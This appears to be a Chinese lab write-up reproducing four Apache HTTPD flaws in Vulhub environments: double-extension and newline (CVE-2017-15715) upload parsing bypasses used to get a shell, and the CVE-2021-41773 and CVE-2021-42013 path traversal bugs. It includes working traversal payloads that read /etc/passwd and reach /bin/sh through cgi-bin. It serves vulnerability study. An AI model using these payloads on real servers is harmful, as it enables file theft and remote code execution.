Apache HTTPD 漏洞复现

文章目录

  • Apache HTTPD 漏洞复现
    • 1. Apache HTTPD 多后缀解析漏洞
      • 1.1 漏洞描述
      • 1.2 漏洞复现
      • 1.3 漏洞利用
      • 1.4 获取GetShell
    • 2. Apache HTTPD 换行解析漏洞-CVE-2017-15715
      • 2.1 漏洞描述
      • 2.2 漏洞复现
      • 2.3 漏洞利用
    • 3. Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773
      • 3.1 漏洞描述
      • 3.2 漏洞复现
      • 3.3 漏洞利用
    • 4. Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞-CVE-2021-42013
      • 4.1 漏洞描述
      • 4.2 漏洞复现
      • 4.3 漏洞利用

Apache HTTPD 漏洞复现

1. Apache HTTPD 多后缀解析漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

1.1 漏洞描述

说明 内容
漏洞编号
漏洞名称 Apache HTTPD 多后缀解析漏洞
漏洞评级 高危
漏洞描述 在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
修复方案 打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

image-20230907113621912

访问80端口

Apache HTTPD 漏洞复现_第1张图片

1.3 漏洞利用

环境运行起来后访问页面,上传一个文件

Apache HTTPD 漏洞复现_第2张图片

显示上传不支持的文件类型

Apache HTTPD 漏洞复现_第3张图片

我们可以将文件的后缀名修改为.png的格式来进行上传

Apache HTTPD 漏洞复现_第4张图片

显示上传成功,并且显示出来所上传文件的路径。

Apache HTTPD 漏洞复现_第5张图片

访问http://your-ip/uploadfiles/wuhu.php.png即可,发现phpinfo被执行了,该文件被解析为php脚本。

Apache HTTPD 漏洞复现_第6张图片

http://your-ip/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpgxxx.php.pngxxx.php.jpeg的文件,利用Apache解析漏洞可以进行getshell。

1.4 获取GetShell

Apache HTTPD 漏洞复现_第7张图片

Apache HTTPD 漏洞复现_第8张图片

漏洞原因

Apache HTTPD 漏洞复现_第9张图片

遇到以.php结尾的文件名后缀,就将其作为php文件执行。也就是所说只要文件后缀名中包含php就将其作为php脚本来执行。

2. Apache HTTPD 换行解析漏洞-CVE-2017-15715

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

2.1 漏洞描述

说明 内容
漏洞编号 CVE-2017-15715
漏洞名称 Apache HTTPD 换行解析漏洞
漏洞评级 高危
影响范围 2.4.0~2.4.29
漏洞描述 Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
修复方案 打补丁,上设备,升级组件

2.2 漏洞复现

环境启动

image-20230907152738272

启动后Apache运行在http://your-ip:8080

Apache HTTPD 漏洞复现_第10张图片

2.3 漏洞利用

上传一个名为wuhu.php的文件,被拦截:

Apache HTTPD 漏洞复现_第11张图片

使用bp抓包查看

Apache HTTPD 漏洞复现_第12张图片

先在wuhu.php后面添加一个点,然后修改其十六进制编码形式。

Apache HTTPD 漏洞复现_第13张图片

在wuhu.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

Apache HTTPD 漏洞复现_第14张图片

然后发包即可

Apache HTTPD 漏洞复现_第15张图片

浏览器访问刚才上传的/wuhu.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

Apache HTTPD 漏洞复现_第16张图片

3. Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773

链接地址:Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)

3.1 漏洞描述

说明 内容
漏洞编号 CVE-2021-41773
漏洞名称 Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞
漏洞评级 高危
影响范围 2.4.49-2.4.50
漏洞描述 在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可以成功。如果还为这些别名路径启用了 CGI 脚本,则可能允许远程执行代码。
修复方案 打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

image-20230907155958632

服务器启动后,您通过 .It works!http://your-ip:8080访问页面。

Apache HTTPD 漏洞复现_第17张图片

3.3 漏洞利用

一个简单的 CURL 命令来重现漏洞(请注意,必须是现有目录):/icons/

使用bp抓取数据包,然后修改即可。

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Apache HTTPD 漏洞复现_第18张图片

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

Apache HTTPD 漏洞复现_第19张图片

4. Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞-CVE-2021-42013

链接地址:Vulhub - 用于漏洞环境的 Docker-Compose 文件

4.1 漏洞描述

说明 内容
漏洞编号 CVE-2021-42013
漏洞名称 Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞
漏洞评级 高危
影响范围 2.4.49~2.4.50
漏洞描述 CVE-2021-42013 是一个漏洞,由 CVE-2021-41773修复不完整导致,攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录之外的文件。
修复方案 打补丁,上设备,升级组件

4.2 漏洞复现

环境启动

Apache HTTPD 漏洞复现_第20张图片

4.3 漏洞利用

Apache HTTP 服务器 2.4.50 修补了以前的 CVE-2021-41773 有效负载,例如 ,但它不完整。

使用bp抓取数据包,然后修改即可。

绕过修补程序(请注意,必须是现有目录):.%%32%65``/icons/

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

Apache HTTPD 漏洞复现_第21张图片

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

Apache HTTPD 漏洞复现_第22张图片

你可能感兴趣的:(网络安全,安全,系统安全,漏洞)